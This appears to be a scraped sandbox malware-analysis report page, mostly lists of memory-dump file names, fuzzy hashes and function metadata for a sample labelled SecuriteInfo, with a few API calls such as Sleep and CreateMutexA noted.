Associated: 00000000.00000002.2140846130.0000000000E78000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140874259.0000000000E7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140902356.0000000000E7F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140930718.0000000000E8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140958082.0000000000E8D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: 2eebc75514d11e51f29cc86cfba19c08e574dba16ea6afa4a732c77788a518e4
Instruction ID: 9656f0e00895888c851b0558ce0d0c92aad91b58f4c0652dca07b3899fdffe3a
Opcode Fuzzy Hash: 2eebc75514d11e51f29cc86cfba19c08e574dba16ea6afa4a732c77788a518e4
Instruction Fuzzy Hash: ABE08630549548AFCE357B14C878DF93B9DEB51341F000850FD0846222CFB5EC41C980

Uniqueness

Uniqueness Score: -1.00%

Function 051F0CAD Relevance: .1, Instructions: 65COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2144281346.00000000051F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 051F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_51f0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c041415dad85de281349d153c26e8186ed89d566ba1bd7bf747097c0053eda1e
Instruction ID: 306a01a0b6b1d595c776e09dea0340cb15f36acdaa437224be225c919fcaaa0c
Opcode Fuzzy Hash: c041415dad85de281349d153c26e8186ed89d566ba1bd7bf747097c0053eda1e
Instruction Fuzzy Hash: 6BF0CDDF08C120AC612AC1822B6C6B6AB2FB2CF3307328536F607E2043A7D4174D6231

Uniqueness

Uniqueness Score: -1.00%

Function 00B85D40 Relevance: 3.3, APIs: 2, Instructions: 311
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.2139306429.0000000000B81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2139275672.0000000000B80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139306429.0000000000BE4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139397496.0000000000BE9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139439197.0000000000BEB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139472825.0000000000BF5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139502103.0000000000BF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139530751.0000000000BF7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139641535.0000000000D51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139672073.0000000000D53000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139705017.0000000000D62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139739567.0000000000D63000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139776155.0000000000D64000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139776155.0000000000D6F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139948652.0000000000D78000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139999844.0000000000D79000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140027266.0000000000D82000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140054395.0000000000D89000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140085216.0000000000D9D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140113187.0000000000D9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140140001.0000000000DA0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140172034.0000000000DB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140204910.0000000000DCF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140231009.0000000000DD0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140258468.0000000000DD1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140285813.0000000000DD6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140315634.0000000000DD7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140343263.0000000000DDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140424909.0000000000DE0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140455657.0000000000DE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140486195.0000000000DEA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140525090.0000000000DEC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140564438.0000000000DF7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140592050.0000000000DFC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140619769.0000000000DFD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140646325.0000000000E00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140679440.0000000000E0A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140707413.0000000000E0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140707413.0000000000E43000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140781304.0000000000E76000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140814517.0000000000E77000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140846130.0000000000E78000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140874259.0000000000E7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140902356.0000000000E7F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140930718.0000000000E8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140958082.0000000000E8D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 02f52c6b94ca54df50f3fca10c7e7639ec9db5f746eddf3eeb55125b2dc213df
Instruction ID: bdec2ced2e332d5f86b6efe0d87fc1a068d07c9a53c8202eda64dcddb94e481c
Opcode Fuzzy Hash: 02f52c6b94ca54df50f3fca10c7e7639ec9db5f746eddf3eeb55125b2dc213df
Instruction Fuzzy Hash: F9B1F5B190020CABEF24DF54CD84BEEBBF9EF44304F5045A9F915A7282DB749A84CB95

Uniqueness

Uniqueness Score: -1.00%

Function 00B89675 Relevance: 3.1, APIs: 2, Instructions: 131
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(000003E8), ref: 00B8A435
CreateMutexA.KERNELBASE(00000000,00000000,00BE51D8), ref: 00B8A453

Memory Dump Source

Source File: 00000000.00000002.2139306429.0000000000B81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2139275672.0000000000B80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139306429.0000000000BE4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139397496.0000000000BE9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139439197.0000000000BEB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139472825.0000000000BF5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139502103.0000000000BF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139530751.0000000000BF7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139641535.0000000000D51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139672073.0000000000D53000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139705017.0000000000D62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139739567.0000000000D63000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139776155.0000000000D64000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139776155.0000000000D6F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139948652.0000000000D78000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139999844.0000000000D79000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140027266.0000000000D82000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140054395.0000000000D89000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140085216.0000000000D9D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140113187.0000000000D9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140140001.0000000000DA0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140172034.0000000000DB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140204910.0000000000DCF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140231009.0000000000DD0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140258468.0000000000DD1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140285813.0000000000DD6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140315634.0000000000DD7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140343263.0000000000DDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140424909.0000000000DE0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140455657.0000000000DE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140486195.0000000000DEA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140525090.0000000000DEC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140564438.0000000000DF7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140592050.0000000000DFC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140619769.0000000000DFD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140646325.0000000000E00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140679440.0000000000E0A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140707413.0000000000E0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140707413.0000000000E43000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140781304.0000000000E76000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140814517.0000000000E77000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140846130.0000000000E78000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140874259.0000000000E7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140902356.0000000000E7F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140930718.0000000000E8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140958082.0000000000E8D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 7249dc24f626bdfc89015d4a5d9bd3b3276ee9d1e2dc5ced5ecaf7a6e160918d
Instruction ID: fbeace02bd0f81d6af72d38ac3fcf34d283dc1b38b1b362a7f0d07237cb0dea3
Opcode Fuzzy Hash: 7249dc24f626bdfc89015d4a5d9bd3b3276ee9d1e2dc5ced5ecaf7a6e160918d
Instruction Fuzzy Hash: BF3137717102049BEF18FB78CD8977DBBA6EB85310F244298E424AB3E2D7759980CB51

Uniqueness

Uniqueness Score: -1.00%

Function 00B89A14 Relevance: 3.1, APIs: 2, Instructions: 128
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(000003E8), ref: 00B8A435
CreateMutexA.KERNELBASE(00000000,00000000,00BE51D8), ref: 00B8A453

Memory Dump Source

Source File: 00000000.00000002.2139306429.0000000000B81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2139275672.0000000000B80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139306429.0000000000BE4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139397496.0000000000BE9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139439197.0000000000BEB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139472825.0000000000BF5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139502103.0000000000BF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139530751.0000000000BF7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139641535.0000000000D51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139672073.0000000000D53000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139705017.0000000000D62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139739567.0000000000D63000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139776155.0000000000D64000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139776155.0000000000D6F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139948652.0000000000D78000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139999844.0000000000D79000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140027266.0000000000D82000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140054395.0000000000D89000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140085216.0000000000D9D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140113187.0000000000D9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140140001.0000000000DA0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140172034.0000000000DB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140204910.0000000000DCF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140231009.0000000000DD0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140258468.0000000000DD1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140285813.0000000000DD6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140315634.0000000000DD7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140343263.0000000000DDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140424909.0000000000DE0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140455657.0000000000DE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140486195.0000000000DEA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140525090.0000000000DEC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140564438.0000000000DF7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140592050.0000000000DFC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140619769.0000000000DFD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140646325.0000000000E00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140679440.0000000000E0A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140707413.0000000000E0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140707413.0000000000E43000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140781304.0000000000E76000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140814517.0000000000E77000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140846130.0000000000E78000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140874259.0000000000E7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140902356.0000000000E7F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140930718.0000000000E8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140958082.0000000000E8D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 67972c9a134bc41c3fd5a41674d989fbf3962ff759d7473d061ee5678ff01d2a
Instruction ID: b2a18ab329e4cfbaf913152f70fa5a4f6b7907d865ef9bc58e0ff5744b55fcc6
Opcode Fuzzy Hash: 67972c9a134bc41c3fd5a41674d989fbf3962ff759d7473d061ee5678ff01d2a
Instruction Fuzzy Hash: 7D3144717141449BFF1CEB68CD887BCBBE2EB85310F248698E464AB3E1DB759980CB51

Uniqueness

Uniqueness Score: -1.00%

Function 00B89B49 Relevance: 3.1, APIs: 2, Instructions: 127
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(000003E8), ref: 00B8A435
CreateMutexA.KERNELBASE(00000000,00000000,00BE51D8), ref: 00B8A453

Memory Dump Source

Source File: 00000000.00000002.2139306429.0000000000B81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2139275672.0000000000B80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139306429.0000000000BE4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139397496.0000000000BE9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139439197.0000000000BEB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139472825.0000000000BF5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139502103.0000000000BF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139530751.0000000000BF7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139641535.0000000000D51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139672073.0000000000D53000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139705017.0000000000D62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139739567.0000000000D63000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139776155.0000000000D64000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139776155.0000000000D6F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139948652.0000000000D78000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139999844.0000000000D79000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140027266.0000000000D82000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140054395.0000000000D89000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140085216.0000000000D9D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140113187.0000000000D9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140140001.0000000000DA0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140172034.0000000000DB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140204910.0000000000DCF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140231009.0000000000DD0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140258468.0000000000DD1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140285813.0000000000DD6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140315634.0000000000DD7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140343263.0000000000DDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140424909.0000000000DE0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140455657.0000000000DE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140486195.0000000000DEA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140525090.0000000000DEC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140564438.0000000000DF7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140592050.0000000000DFC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140619769.0000000000DFD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140646325.0000000000E00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140679440.0000000000E0A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140707413.0000000000E0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140707413.0000000000E43000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140781304.0000000000E76000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140814517.0000000000E77000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140846130.0000000000E78000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140874259.0000000000E7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140902356.0000000000E7F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140930718.0000000000E8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140958082.0000000000E8D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 18363222cd4b0c4dd42647ae9882f8288c94f736497a6b414507be989c722c81
Instruction ID: 791a1d384dfa9845b5408d27f75b259105ce533c28955d6077ef36cd847dfb5f
Opcode Fuzzy Hash: 18363222cd4b0c4dd42647ae9882f8288c94f736497a6b414507be989c722c81
Instruction Fuzzy Hash: B43148717001449BEF18EB68DDC97ACB7E2DB85314F248698E424AB3E1C7799980CB51

Uniqueness

Uniqueness Score: -1.00%

Function 00B89C7E Relevance: 3.1, APIs: 2, Instructions: 126
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(000003E8), ref: 00B8A435
CreateMutexA.KERNELBASE(00000000,00000000,00BE51D8), ref: 00B8A453

Memory Dump Source

Source File: 00000000.00000002.2139306429.0000000000B81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2139275672.0000000000B80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139306429.0000000000BE4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139397496.0000000000BE9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139439197.0000000000BEB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139472825.0000000000BF5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139502103.0000000000BF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139530751.0000000000BF7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139641535.0000000000D51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139672073.0000000000D53000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139705017.0000000000D62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139739567.0000000000D63000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139776155.0000000000D64000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139776155.0000000000D6F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139948652.0000000000D78000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139999844.0000000000D79000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140027266.0000000000D82000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140054395.0000000000D89000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140085216.0000000000D9D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140113187.0000000000D9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140140001.0000000000DA0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140172034.0000000000DB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140204910.0000000000DCF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140231009.0000000000DD0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140258468.0000000000DD1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140285813.0000000000DD6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140315634.0000000000DD7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140343263.0000000000DDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140424909.0000000000DE0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140455657.0000000000DE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140486195.0000000000DEA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140525090.0000000000DEC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140564438.0000000000DF7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140592050.0000000000DFC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140619769.0000000000DFD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140646325.0000000000E00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140679440.0000000000E0A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140707413.0000000000E0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140707413.0000000000E43000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140781304.0000000000E76000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140814517.0000000000E77000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140846130.0000000000E78000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140874259.0000000000E7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140902356.0000000000E7F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140930718.0000000000E8B000.00000040.00000001.01000000.00000003.sdmpDownload File
